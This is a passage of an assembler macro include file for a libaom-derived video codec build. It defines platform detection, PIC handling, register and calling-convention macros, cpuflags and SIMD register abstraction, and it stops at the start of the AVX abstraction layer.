HAVE_UNISTD_H equ 0
HAVE_VSX equ 0
HAVE_WXWIDGETS equ 0
%ifndef private_prefix
%define private_prefix eb_aom
%endif
%ifndef public_prefix
%define public_prefix private_prefix
%endif
%ifndef STACK_ALIGNMENT
%if ARCH_X86_64
%define STACK_ALIGNMENT 16
%else
%define STACK_ALIGNMENT 4
%endif
%endif
%define WIN64 0
%define UNIX64 0
%if ARCH_X86_64
%ifidn __OUTPUT_FORMAT__,win32
%define WIN64 1
%elifidn __OUTPUT_FORMAT__,win64
%define WIN64 1
%elifidn __OUTPUT_FORMAT__,x64
%define WIN64 1
%else
%define UNIX64 1
%endif
%endif
%define FORMAT_ELF 0
%ifidn __OUTPUT_FORMAT__,elf
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,elf32
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,elf64
%define FORMAT_ELF 1
%endif
%define FORMAT_MACHO 0
%ifidn __OUTPUT_FORMAT__,macho32
%define FORMAT_MACHO 1
%elifidn __OUTPUT_FORMAT__,macho64
%define FORMAT_MACHO 1
%endif
; Set PREFIX for libaom builds.
%if FORMAT_ELF
%undef PREFIX
%elif WIN64
%undef PREFIX
%else
%define PREFIX
%endif
%ifdef PREFIX
%define mangle(x) _ %+ x
%else
%define mangle(x) x
%endif
; In some instances macho32 tables get misaligned when using .rodata.
; When looking at the disassembly it appears that the offset is either
; correct or consistently off by 90. Placing them in the .text section
; works around the issue. It appears to be specific to the way libaom
; handles the tables.
%macro SECTION_RODATA 0-1 16
%ifidn __OUTPUT_FORMAT__,macho32
SECTION .text align=%1
fakegot:
%elifidn __OUTPUT_FORMAT__,aout
SECTION .text
%else
SECTION .rodata align=%1
%endif
%endmacro
; PIC macros are copied from aom_ports/x86_abi_support.asm. The "define PIC"
; from original code is added in for 64bit.
%ifidn __OUTPUT_FORMAT__,elf32
%define ABI_IS_32BIT 1
%elifidn __OUTPUT_FORMAT__,macho32
%define ABI_IS_32BIT 1
%elifidn __OUTPUT_FORMAT__,win32
%define ABI_IS_32BIT 1
%elifidn __OUTPUT_FORMAT__,aout
%define ABI_IS_32BIT 1
%else
%define ABI_IS_32BIT 0
%endif
%if ABI_IS_32BIT
%if CONFIG_PIC=1
%ifidn __OUTPUT_FORMAT__,elf32
%define GET_GOT_DEFINED 1
%define WRT_PLT wrt ..plt
%macro GET_GOT 1
extern _GLOBAL_OFFSET_TABLE_
push %1
call %%get_got
%%sub_offset:
jmp %%exitGG
%%get_got:
mov %1, [esp]
add %1, _GLOBAL_OFFSET_TABLE_ + $$ - %%sub_offset wrt ..gotpc
ret
%%exitGG:
%undef GLOBAL
%define GLOBAL(x) x + %1 wrt ..gotoff
%undef RESTORE_GOT
%define RESTORE_GOT pop %1
%endmacro
%elifidn __OUTPUT_FORMAT__,macho32
%define GET_GOT_DEFINED 1
%macro GET_GOT 1
push %1
call %%get_got
%%get_got:
pop %1
%undef GLOBAL
%define GLOBAL(x) x + %1 - %%get_got
%undef RESTORE_GOT
%define RESTORE_GOT pop %1
%endmacro
%else
%define GET_GOT_DEFINED 0
%endif
%endif
%if ARCH_X86_64 == 0
%undef PIC
%endif
%else
%macro GET_GOT 1
%endmacro
%define GLOBAL(x) rel x
%define WRT_PLT wrt ..plt
%if WIN64
%define PIC
%elifidn __OUTPUT_FORMAT__,macho64
%define PIC
%elif CONFIG_PIC
%define PIC
%endif
%endif
%ifnmacro GET_GOT
%macro GET_GOT 1
%endmacro
%define GLOBAL(x) x
%endif
%ifndef RESTORE_GOT
%define RESTORE_GOT
%endif
%ifndef WRT_PLT
%define WRT_PLT
%endif
%ifdef PIC
default rel
%endif
%ifndef GET_GOT_DEFINED
%define GET_GOT_DEFINED 0
%endif
; Done with PIC macros
%ifdef __NASM_VER__
%use smartalign
%endif
; Macros to eliminate most code duplication between x86_32 and x86_64:
; Currently this works only for leaf functions which load all their arguments
; into registers at the start, and make no other use of the stack. Luckily that
; covers most of x264's asm.
; PROLOGUE:
; %1 = number of arguments. loads them from stack if needed.
; %2 = number of registers used. pushes callee-saved regs if needed.
; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed.
; %4 = (optional) stack size to be allocated. The stack will be aligned before
; allocating the specified stack size. If the required stack alignment is
; larger than the known stack alignment the stack will be manually aligned
; and an extra register will be allocated to hold the original stack
; pointer (to not invalidate r0m etc.). To prevent the use of an extra
; register as stack pointer, request a negative stack size.
; %4+/%5+ = list of names to define to registers
; PROLOGUE can also be invoked by adding the same options to cglobal
; e.g.
; cglobal foo, 2,3,7,0x40, dst, src, tmp
; declares a function (foo) that automatically loads two arguments (dst and
; src) into registers, uses one additional register (tmp) plus 7 vector
; registers (m0-m6) and allocates 0x40 bytes of stack space.
; TODO Some functions can use some args directly from the stack. If they're the
; last args then you can just not declare them, but if they're in the middle
; we need more flexible macro.
; RET:
; Pops anything that was pushed by PROLOGUE, and returns.
; REP_RET:
; Use this instead of RET if it's a branch target.
; registers:
; rN and rNq are the native-size register holding function argument N
; rNd, rNw, rNb are dword, word, and byte size
; rNh is the high 8 bits of the word size
; rNm is the original location of arg N (a register or on the stack), dword
; rNmp is native size
%macro DECLARE_REG 2-3
%define r%1q %2
%define r%1d %2d
%define r%1w %2w
%define r%1b %2b
%define r%1h %2h
%define %2q %2
%if %0 == 2
%define r%1m %2d
%define r%1mp %2
%elif ARCH_X86_64 ; memory
%define r%1m [rstk + stack_offset + %3]
%define r%1mp qword r %+ %1 %+ m
%else
%define r%1m [rstk + stack_offset + %3]
%define r%1mp dword r %+ %1 %+ m
%endif
%define r%1 %2
%endmacro
%macro DECLARE_REG_SIZE 3
%define r%1q r%1
%define e%1q r%1
%define r%1d e%1
%define e%1d e%1
%define r%1w %1
%define e%1w %1
%define r%1h %3
%define e%1h %3
%define r%1b %2
%define e%1b %2
%if ARCH_X86_64 == 0
%define r%1 e%1
%endif
%endmacro
DECLARE_REG_SIZE ax, al, ah
DECLARE_REG_SIZE bx, bl, bh
DECLARE_REG_SIZE cx, cl, ch
DECLARE_REG_SIZE dx, dl, dh
DECLARE_REG_SIZE si, sil, null
DECLARE_REG_SIZE di, dil, null
DECLARE_REG_SIZE bp, bpl, null
; t# defines for when per-arch register allocation is more complex than just function arguments
%macro DECLARE_REG_TMP 1-*
%assign %%i 0
%rep %0
CAT_XDEFINE t, %%i, r%1
%assign %%i %%i+1
%rotate 1
%endrep
%endmacro
%macro DECLARE_REG_TMP_SIZE 0-*
%rep %0
%define t%1q t%1 %+ q
%define t%1d t%1 %+ d
%define t%1w t%1 %+ w
%define t%1h t%1 %+ h
%define t%1b t%1 %+ b
%rotate 1
%endrep
%endmacro
DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
%if ARCH_X86_64
%define gprsize 8
%else
%define gprsize 4
%endif
%macro PUSH 1
push %1
%ifidn rstk, rsp
%assign stack_offset stack_offset+gprsize
%endif
%endmacro
%macro POP 1
pop %1
%ifidn rstk, rsp
%assign stack_offset stack_offset-gprsize
%endif
%endmacro
%macro PUSH_IF_USED 1-*
%rep %0
%if %1 < regs_used
PUSH r%1
%endif
%rotate 1
%endrep
%endmacro
%macro POP_IF_USED 1-*
%rep %0
%if %1 < regs_used
pop r%1
%endif
%rotate 1
%endrep
%endmacro
%macro LOAD_IF_USED 1-*
%rep %0
%if %1 < num_args
mov r%1, r %+ %1 %+ mp
%endif
%rotate 1
%endrep
%endmacro
%macro SUB 2
sub %1, %2
%ifidn %1, rstk
%assign stack_offset stack_offset+(%2)
%endif
%endmacro
%macro ADD 2
add %1, %2
%ifidn %1, rstk
%assign stack_offset stack_offset-(%2)
%endif
%endmacro
%macro movifnidn 2
%ifnidn %1, %2
mov %1, %2
%endif
%endmacro
%macro movsxdifnidn 2
%ifnidn %1, %2
movsxd %1, %2
%endif
%endmacro
%macro ASSERT 1
%if (%1) == 0
%error assertion ``%1'' failed
%endif
%endmacro
%macro DEFINE_ARGS 0-*
%ifdef n_arg_names
%assign %%i 0
%rep n_arg_names
CAT_UNDEF arg_name %+ %%i, q
CAT_UNDEF arg_name %+ %%i, d
CAT_UNDEF arg_name %+ %%i, w
CAT_UNDEF arg_name %+ %%i, h
CAT_UNDEF arg_name %+ %%i, b
CAT_UNDEF arg_name %+ %%i, m
CAT_UNDEF arg_name %+ %%i, mp
CAT_UNDEF arg_name, %%i
%assign %%i %%i+1
%endrep
%endif
%xdefine %%stack_offset stack_offset
%undef stack_offset ; so that the current value of stack_offset doesn't get baked in by xdefine
%assign %%i 0
%rep %0
%xdefine %1q r %+ %%i %+ q
%xdefine %1d r %+ %%i %+ d
%xdefine %1w r %+ %%i %+ w
%xdefine %1h r %+ %%i %+ h
%xdefine %1b r %+ %%i %+ b
%xdefine %1m r %+ %%i %+ m
%xdefine %1mp r %+ %%i %+ mp
CAT_XDEFINE arg_name, %%i, %1
%assign %%i %%i+1
%rotate 1
%endrep
%xdefine stack_offset %%stack_offset
%assign n_arg_names %0
%endmacro
%define required_stack_alignment ((mmsize + 15) & ~15)
%macro ALLOC_STACK 1-2 0 ; stack_size, n_xmm_regs (for win64 only)
%ifnum %1
%if %1 != 0
%assign %%pad 0
%assign stack_size %1
%if stack_size < 0
%assign stack_size -stack_size
%endif
%if WIN64
%assign %%pad %%pad + 32 ; shadow space
%if mmsize != 8
%assign xmm_regs_used %2
%if xmm_regs_used > 8
%assign %%pad %%pad + (xmm_regs_used-8)*16 ; callee-saved xmm registers
%endif
%endif
%endif
%if required_stack_alignment <= STACK_ALIGNMENT
; maintain the current stack alignment
%assign stack_size_padded stack_size + %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1))
SUB rsp, stack_size_padded
%else
%assign %%reg_num (regs_used - 1)
%xdefine rstk r %+ %%reg_num
; align stack, and save original stack location directly above
; it, i.e. in [rsp+stack_size_padded], so we can restore the
; stack in a single instruction (i.e. mov rsp, rstk or mov
; rsp, [rsp+stack_size_padded])
%if %1 < 0 ; need to store rsp on stack
%xdefine rstkm [rsp + stack_size + %%pad]
%assign %%pad %%pad + gprsize
%else ; can keep rsp in rstk during whole function
%xdefine rstkm rstk
%endif
%assign stack_size_padded stack_size + ((%%pad + required_stack_alignment-1) & ~(required_stack_alignment-1))
mov rstk, rsp
and rsp, ~(required_stack_alignment-1)
sub rsp, stack_size_padded
movifnidn rstkm, rstk
%endif
WIN64_PUSH_XMM
%endif
%endif
%endmacro
%macro SETUP_STACK_POINTER 1
%ifnum %1
%if %1 != 0 && required_stack_alignment > STACK_ALIGNMENT
%if %1 > 0
%assign regs_used (regs_used + 1)
%endif
%if ARCH_X86_64 && regs_used < 5 + UNIX64 * 3
; Ensure that we don't clobber any registers containing arguments
%assign regs_used 5 + UNIX64 * 3
%endif
%endif
%endif
%endmacro
%macro DEFINE_ARGS_INTERNAL 3+
%ifnum %2
DEFINE_ARGS %3
%elif %1 == 4
DEFINE_ARGS %2
%elif %1 > 4
DEFINE_ARGS %2, %3
%endif
%endmacro
%if WIN64 ; Windows x64 ;=================================================
DECLARE_REG 0, rcx
DECLARE_REG 1, rdx
DECLARE_REG 2, R8
DECLARE_REG 3, R9
DECLARE_REG 4, R10, 40
DECLARE_REG 5, R11, 48
DECLARE_REG 6, rax, 56
DECLARE_REG 7, rdi, 64
DECLARE_REG 8, rsi, 72
DECLARE_REG 9, rbx, 80
DECLARE_REG 10, rbp, 88
DECLARE_REG 11, R12, 96
DECLARE_REG 12, R13, 104
DECLARE_REG 13, R14, 112
DECLARE_REG 14, R15, 120
%macro PROLOGUE 2-5+ 0 ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
SETUP_STACK_POINTER %4
ASSERT regs_used <= 15
PUSH_IF_USED 7, 8, 9, 10, 11, 12, 13, 14
ALLOC_STACK %4, %3
%if mmsize != 8 && stack_size == 0
WIN64_SPILL_XMM %3
%endif
LOAD_IF_USED 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%macro WIN64_PUSH_XMM 0
; Use the shadow space to store XMM6 and XMM7, the rest needs stack space allocated.
%if xmm_regs_used > 6
movaps [rstk + stack_offset + 8], xmm6
%endif
%if xmm_regs_used > 7
movaps [rstk + stack_offset + 24], xmm7
%endif
%if xmm_regs_used > 8
%assign %%i 8
%rep xmm_regs_used-8
movaps [rsp + (%%i-8)*16 + stack_size + 32], xmm %+ %%i
%assign %%i %%i+1
%endrep
%endif
%endmacro
%macro WIN64_SPILL_XMM 1
%assign xmm_regs_used %1
ASSERT xmm_regs_used <= 16
%if xmm_regs_used > 8
; Allocate stack space for callee-saved xmm registers plus shadow space and align the stack.
%assign %%pad (xmm_regs_used-8)*16 + 32
%assign stack_size_padded %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1))
SUB rsp, stack_size_padded
%endif
WIN64_PUSH_XMM
%endmacro
%macro WIN64_RESTORE_XMM_INTERNAL 1
%assign %%pad_size 0
%if xmm_regs_used > 8
%assign %%i xmm_regs_used
%rep xmm_regs_used-8
%assign %%i %%i-1
movaps xmm %+ %%i, [%1 + (%%i-8)*16 + stack_size + 32]
%endrep
%endif
%if stack_size_padded > 0
%if stack_size > 0 && required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add %1, stack_size_padded
%assign %%pad_size stack_size_padded
%endif
%endif
%if xmm_regs_used > 7
movaps xmm7, [%1 + stack_offset - %%pad_size + 24]
%endif
%if xmm_regs_used > 6
movaps xmm6, [%1 + stack_offset - %%pad_size + 8]
%endif
%endmacro
%macro WIN64_RESTORE_XMM 1
WIN64_RESTORE_XMM_INTERNAL %1
%assign stack_offset (stack_offset-stack_size_padded)
%assign xmm_regs_used 0
%endmacro
%define has_epilogue regs_used > 7 || xmm_regs_used > 6 || mmsize == 32 || stack_size > 0
%macro RET 0
WIN64_RESTORE_XMM_INTERNAL rsp
POP_IF_USED 14, 13, 12, 11, 10, 9, 8, 7
%if mmsize == 32
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%elif ARCH_X86_64 ; *nix x64 ;=============================================
DECLARE_REG 0, rdi
DECLARE_REG 1, rsi
DECLARE_REG 2, rdx
DECLARE_REG 3, rcx
DECLARE_REG 4, R8
DECLARE_REG 5, R9
DECLARE_REG 6, rax, 8
DECLARE_REG 7, R10, 16
DECLARE_REG 8, R11, 24
DECLARE_REG 9, rbx, 32
DECLARE_REG 10, rbp, 40
DECLARE_REG 11, R12, 48
DECLARE_REG 12, R13, 56
DECLARE_REG 13, R14, 64
DECLARE_REG 14, R15, 72
%macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
SETUP_STACK_POINTER %4
ASSERT regs_used <= 15
PUSH_IF_USED 9, 10, 11, 12, 13, 14
ALLOC_STACK %4
LOAD_IF_USED 6, 7, 8, 9, 10, 11, 12, 13, 14
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%define has_epilogue regs_used > 9 || mmsize == 32 || stack_size > 0
%macro RET 0
%if stack_size_padded > 0
%if required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%endif
%endif
POP_IF_USED 14, 13, 12, 11, 10, 9
%if mmsize == 32
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%else ; X86_32 ;==============================================================
DECLARE_REG 0, eax, 4
DECLARE_REG 1, ecx, 8
DECLARE_REG 2, edx, 12
DECLARE_REG 3, ebx, 16
DECLARE_REG 4, esi, 20
DECLARE_REG 5, edi, 24
DECLARE_REG 6, ebp, 28
%define rsp esp
%macro DECLARE_ARG 1-*
%rep %0
%define r%1m [rstk + stack_offset + 4*%1 + 4]
%define r%1mp dword r%1m
%rotate 1
%endrep
%endmacro
DECLARE_ARG 7, 8, 9, 10, 11, 12, 13, 14
%macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
%if num_args > 7
%assign num_args 7
%endif
%if regs_used > 7
%assign regs_used 7
%endif
SETUP_STACK_POINTER %4
ASSERT regs_used <= 7
PUSH_IF_USED 3, 4, 5, 6
ALLOC_STACK %4
LOAD_IF_USED 0, 1, 2, 3, 4, 5, 6
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%define has_epilogue regs_used > 3 || mmsize == 32 || stack_size > 0
%macro RET 0
%if stack_size_padded > 0
%if required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%endif
%endif
POP_IF_USED 6, 5, 4, 3
%if mmsize == 32
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%endif ;======================================================================
%if WIN64 == 0
%macro WIN64_SPILL_XMM 1
%endmacro
%macro WIN64_RESTORE_XMM 1
%endmacro
%macro WIN64_PUSH_XMM 0
%endmacro
%endif
; On AMD cpus <=K10, an ordinary ret is slow if it immediately follows either
; a branch or a branch target. So switch to a 2-byte form of ret in that case.
; We can automatically detect "follows a branch", but not a branch target.
; (SSSE3 is a sufficient condition to know that your cpu doesn't have this problem.)
%macro REP_RET 0
%if has_epilogue
RET
%else
rep ret
%endif
annotate_function_size
%endmacro
%define last_branch_adr $$
%macro AUTO_REP_RET 0
%if notcpuflag(ssse3)
times ((last_branch_adr-$)>>31)+1 rep ; times 1 iff $ == last_branch_adr.
%endif
ret
annotate_function_size
%endmacro
%macro BRANCH_INSTR 0-*
%rep %0
%macro %1 1-2 %1
%2 %1
%if notcpuflag(ssse3)
%%branch_instr equ $
%xdefine last_branch_adr %%branch_instr
%endif
%endmacro
%rotate 1
%endrep
%endmacro
BRANCH_INSTR jz, je, jnz, jne, jl, jle, jnl, jnle, jg, jge, jng, jnge, ja, jae, jna, jnae, jb, jbe, jnb, jnbe, jc, jnc, js, jns, jo, jno, jp, jnp
%macro TAIL_CALL 2 ; callee, is_nonadjacent
%if has_epilogue
call %1
RET
%elif %2
jmp %1
%endif
annotate_function_size
%endmacro
;=============================================================================
; arch-independent part
;=============================================================================
%assign function_align 16
; Begin a function.
; Applies any symbol mangling needed for C linkage, and sets up a define such that
; subsequent uses of the function name automatically refer to the mangled version.
; Appends cpuflags to the function name if cpuflags has been specified.
; The "" empty default parameter is a workaround for nasm, which fails if SUFFIX
; is empty and we call cglobal_internal with just %1 %+ SUFFIX (without %2).
%macro cglobal 1-2+ "" ; name, [PROLOGUE args]
cglobal_internal 1, %1 %+ SUFFIX, %2
%endmacro
%macro cvisible 1-2+ "" ; name, [PROLOGUE args]
cglobal_internal 0, %1 %+ SUFFIX, %2
%endmacro
%macro cglobal_internal 2-3+
annotate_function_size
%if %1
%xdefine %%FUNCTION_PREFIX private_prefix
; libaom explicitly sets visibility in shared object builds. Avoid
; setting visibility to hidden as it may break builds that split
; sources on e.g., directory boundaries.
%ifdef CHROMIUM
%xdefine %%VISIBILITY hidden
%else
%xdefine %%VISIBILITY
%endif
%else
%xdefine %%FUNCTION_PREFIX public_prefix
%xdefine %%VISIBILITY
%endif
%ifndef cglobaled_%2
%xdefine %2 mangle(%%FUNCTION_PREFIX %+ _ %+ %2)
%xdefine %2.skip_prologue %2 %+ .skip_prologue
CAT_XDEFINE cglobaled_, %2, 1
%endif
%xdefine current_function %2
%xdefine current_function_section __SECT__
%if FORMAT_ELF
global %2:function %%VISIBILITY
%elif FORMAT_MACHO
%ifdef __NASM_VER__
global %2
%else
global %2:private_extern
%endif
%else
global %2
%endif
align function_align
%2:
RESET_MM_PERMUTATION ; needed for x86-64, also makes disassembly somewhat nicer
%xdefine rstk rsp ; copy of the original stack pointer, used when greater alignment than the known stack alignment is required
%assign stack_offset 0 ; stack pointer offset relative to the return address
%assign stack_size 0 ; amount of stack space that can be freely used inside a function
%assign stack_size_padded 0 ; total amount of allocated stack space, including space for callee-saved xmm registers on WIN64 and alignment padding
%assign xmm_regs_used 0 ; number of XMM registers requested, used for dealing with callee-saved registers on WIN64
%ifnidn %3, ""
PROLOGUE %3
%endif
%endmacro
%macro cextern 1
%xdefine %1 mangle(private_prefix %+ _ %+ %1)
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
; like cextern, but without the prefix
%macro cextern_naked 1
%ifdef PREFIX
%xdefine %1 mangle(%1)
%endif
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
%macro const 1-2+
%xdefine %1 mangle(private_prefix %+ _ %+ %1)
%if FORMAT_ELF
global %1:data hidden
%else
global %1
%endif
%1: %2
%endmacro
; This is needed for ELF, otherwise the GNU linker assumes the stack is executable by default.
%if FORMAT_ELF
[SECTION .note.GNU-stack noalloc noexec nowrite progbits]
%endif
; Tell debuggers how large the function was.
; This may be invoked multiple times per function; we rely on later instances overriding earlier ones.
; This is invoked by RET and similar macros, and also cglobal does it for the previous function,
; but if the last function in a source file doesn't use any of the standard macros for its epilogue,
; then its size might be unspecified.
%macro annotate_function_size 0
%ifdef __YASM_VER__
%ifdef current_function
%if FORMAT_ELF
current_function_section
%%ecf equ $
size current_function %%ecf - current_function
__SECT__
%endif
%endif
%endif
%endmacro
; cpuflags
%assign cpuflags_mmx (1<<0)
%assign cpuflags_mmx2 (1<<1) | cpuflags_mmx
%assign cpuflags_3dnow (1<<2) | cpuflags_mmx
%assign cpuflags_3dnowext (1<<3) | cpuflags_3dnow
%assign cpuflags_sse (1<<4) | cpuflags_mmx2
%assign cpuflags_sse2 (1<<5) | cpuflags_sse
%assign cpuflags_sse2slow (1<<6) | cpuflags_sse2
%assign cpuflags_sse3 (1<<7) | cpuflags_sse2
%assign cpuflags_ssse3 (1<<8) | cpuflags_sse3
%assign cpuflags_sse4 (1<<9) | cpuflags_ssse3
%assign cpuflags_sse42 (1<<10)| cpuflags_sse4
%assign cpuflags_avx (1<<11)| cpuflags_sse42
%assign cpuflags_xop (1<<12)| cpuflags_avx
%assign cpuflags_fma4 (1<<13)| cpuflags_avx
%assign cpuflags_fma3 (1<<14)| cpuflags_avx
%assign cpuflags_avx2 (1<<15)| cpuflags_fma3
%assign cpuflags_cache32 (1<<16)
%assign cpuflags_cache64 (1<<17)
%assign cpuflags_slowctz (1<<18)
%assign cpuflags_lzcnt (1<<19)
%assign cpuflags_aligned (1<<20) ; not a cpu feature, but a function variant
%assign cpuflags_atom (1<<21)
%assign cpuflags_bmi1 (1<<22)|cpuflags_lzcnt
%assign cpuflags_bmi2 (1<<23)|cpuflags_bmi1
; Returns a boolean value expressing whether or not the specified cpuflag is enabled.
%define cpuflag(x) (((((cpuflags & (cpuflags_ %+ x)) ^ (cpuflags_ %+ x)) - 1) >> 31) & 1)
%define notcpuflag(x) (cpuflag(x) ^ 1)
; Takes an arbitrary number of cpuflags from the above list.
; All subsequent functions (up to the next INIT_CPUFLAGS) is built for the specified cpu.
; You shouldn't need to invoke this macro directly, it's a subroutine for INIT_MMX &co.
%macro INIT_CPUFLAGS 0-*
%xdefine SUFFIX
%undef cpuname
%assign cpuflags 0
%if %0 >= 1
%rep %0
%ifdef cpuname
%xdefine cpuname cpuname %+ _%1
%else
%xdefine cpuname %1
%endif
%assign cpuflags cpuflags | cpuflags_%1
%rotate 1
%endrep
%xdefine SUFFIX _ %+ cpuname
%if cpuflag(avx)
%assign avx_enabled 1
%endif
%if (mmsize == 16 && notcpuflag(sse2)) || (mmsize == 32 && notcpuflag(avx2))
%define mova movaps
%define movu movups
%define movnta movntps
%endif
%if cpuflag(aligned)
%define movu mova
%elif cpuflag(sse3) && notcpuflag(ssse3)
%define movu lddqu
%endif
%endif
%if ARCH_X86_64 || cpuflag(sse2)
%ifdef __NASM_VER__
ALIGNMODE k8
%else
CPU amdnop
%endif
%else
%ifdef __NASM_VER__
ALIGNMODE nop
%else
CPU basicnop
%endif
%endif
%endmacro
; Merge mmx and sse*
; m# is a simd register of the currently selected size
; xm# is the corresponding xmm register if mmsize >= 16, otherwise the same as m#
; ym# is the corresponding ymm register if mmsize >= 32, otherwise the same as m#
; (All 3 remain in sync through SWAP.)
%macro CAT_XDEFINE 3
%xdefine %1%2 %3
%endmacro
%macro CAT_UNDEF 2
%undef %1%2
%endmacro
%macro INIT_MMX 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_MMX %1
%define mmsize 8
%define num_mmregs 8
%define mova movq
%define movu movq
%define movh movd
%define movnta movntq
%assign %%i 0
%rep 8
CAT_XDEFINE m, %%i, mm %+ %%i
CAT_XDEFINE nnmm, %%i, %%i
%assign %%i %%i+1
%endrep
%rep 8
CAT_UNDEF m, %%i
CAT_UNDEF nnmm, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
%macro INIT_XMM 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_XMM %1
%define mmsize 16
%define num_mmregs 8
%if ARCH_X86_64
%define num_mmregs 16
%endif
%define mova movdqa
%define movu movdqu
%define movh movq
%define movnta movntdq
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, xmm %+ %%i
CAT_XDEFINE nnxmm, %%i, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
%macro INIT_YMM 0-1+
%assign avx_enabled 1
%define RESET_MM_PERMUTATION INIT_YMM %1
%define mmsize 32
%define num_mmregs 8
%if ARCH_X86_64
%define num_mmregs 16
%endif
%define mova movdqa
%define movu movdqu
%undef movh
%define movnta movntdq
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, ymm %+ %%i
CAT_XDEFINE nnymm, %%i, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
INIT_XMM
%macro DECLARE_MMCAST 1
%define mmmm%1 mm%1
%define mmxmm%1 mm%1
%define mmymm%1 mm%1
%define xmmmm%1 mm%1
%define xmmxmm%1 xmm%1
%define xmmymm%1 xmm%1
%define ymmmm%1 mm%1
%define ymmxmm%1 xmm%1
%define ymmymm%1 ymm%1
%define xm%1 xmm %+ m%1
%define ym%1 ymm %+ m%1
%endmacro
%assign i 0
%rep 16
DECLARE_MMCAST i
%assign i i+1
%endrep
; I often want to use macros that permute their arguments. e.g. there's no
; efficient way to implement butterfly or transpose or dct without swapping some
; arguments.
;
; I would like to not have to manually keep track of the permutations:
; If I insert a permutation in the middle of a function, it should automatically
; change everything that follows. For more complex macros I may also have multiple
; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations.
;
; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that
; permutes its arguments. It's equivalent to exchanging the contents of the
; registers, except that this way you exchange the register names instead, so it
; doesn't cost any cycles.
%macro PERMUTE 2-* ; takes a list of pairs to swap
%rep %0/2
%xdefine %%tmp%2 m%2
%rotate 2
%endrep
%rep %0/2
%xdefine m%1 %%tmp%2
CAT_XDEFINE nn, m%1, %1
%rotate 2
%endrep
%endmacro
%macro SWAP 2+ ; swaps a single chain (sometimes more concise than pairs)
%ifnum %1 ; SWAP 0, 1, ...
SWAP_INTERNAL_NUM %1, %2
%else ; SWAP m0, m1, ...
SWAP_INTERNAL_NAME %1, %2
%endif
%endmacro
%macro SWAP_INTERNAL_NUM 2-*
%rep %0-1
%xdefine %%tmp m%1
%xdefine m%1 m%2
%xdefine m%2 %%tmp
CAT_XDEFINE nn, m%1, %1
CAT_XDEFINE nn, m%2, %2
%rotate 1
%endrep
%endmacro
%macro SWAP_INTERNAL_NAME 2-*
%xdefine %%args nn %+ %1
%rep %0-1
%xdefine %%args %%args, nn %+ %2
%rotate 1
%endrep
SWAP_INTERNAL_NUM %%args
%endmacro
; If SAVE_MM_PERMUTATION is placed at the end of a function, then any later
; calls to that function will automatically load the permutation, so values can
; be returned in mmregs.
%macro SAVE_MM_PERMUTATION 0-1
%if %0
%xdefine %%f %1_m
%else
%xdefine %%f current_function %+ _m
%endif
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE %%f, %%i, m %+ %%i
%assign %%i %%i+1
%endrep
%endmacro
%macro LOAD_MM_PERMUTATION 1 ; name to load from
%ifdef %1_m0
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, %1_m %+ %%i
CAT_XDEFINE nn, m %+ %%i, %%i
%assign %%i %%i+1
%endrep
%endif
%endmacro
; Append cpuflags to the callee's name iff the appended name is known and the plain name isn't
%macro call 1
call_internal %1 %+ SUFFIX, %1
%endmacro
%macro call_internal 2
%xdefine %%i %2
%ifndef cglobaled_%2
%ifdef cglobaled_%1
%xdefine %%i %1
%endif
%endif
call %%i
LOAD_MM_PERMUTATION %%i
%endmacro
; Substitutions that reduce instruction size but are functionally equivalent
%macro add 2
%ifnum %2
%if %2==128
sub %1, -128
%else
add %1, %2
%endif
%else
add %1, %2
%endif
%endmacro
%macro sub 2
%ifnum %2
%if %2==128
add %1, -128
%else
sub %1, %2
%endif
%else
sub %1, %2
%endif
%endmacro
;=============================================================================
; AVX abstraction layer
;=============================================================================
%assign i 0
%rep 16
%if i < 8
CAT_XDEFINE sizeofmm, i, 8
%endif
CAT_XDEFINE sizeofxmm, i, 16
CAT_XDEFINE sizeofymm, i, 32
%assign i i+1
%endrep
%undef i
%macro CHECK_AVX_INSTR_EMU 3-*
%xdefine %%opcode %1
%xdefine %%dst %2
%rep %0-2
%ifidn %%dst, %3
%error non-avx emulation of ``%%opcode'' is not supported
%endif
%rotate 1
%endrep
%endmacro
;%1 == instruction
;%2 == minimal instruction set
;%3 == 1 if float, 0 if int32_t
;%4 == 1 if non-destructive or 4-operand (xmm, xmm, xmm, imm), 0 otherwise
;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not
;%6+: operands
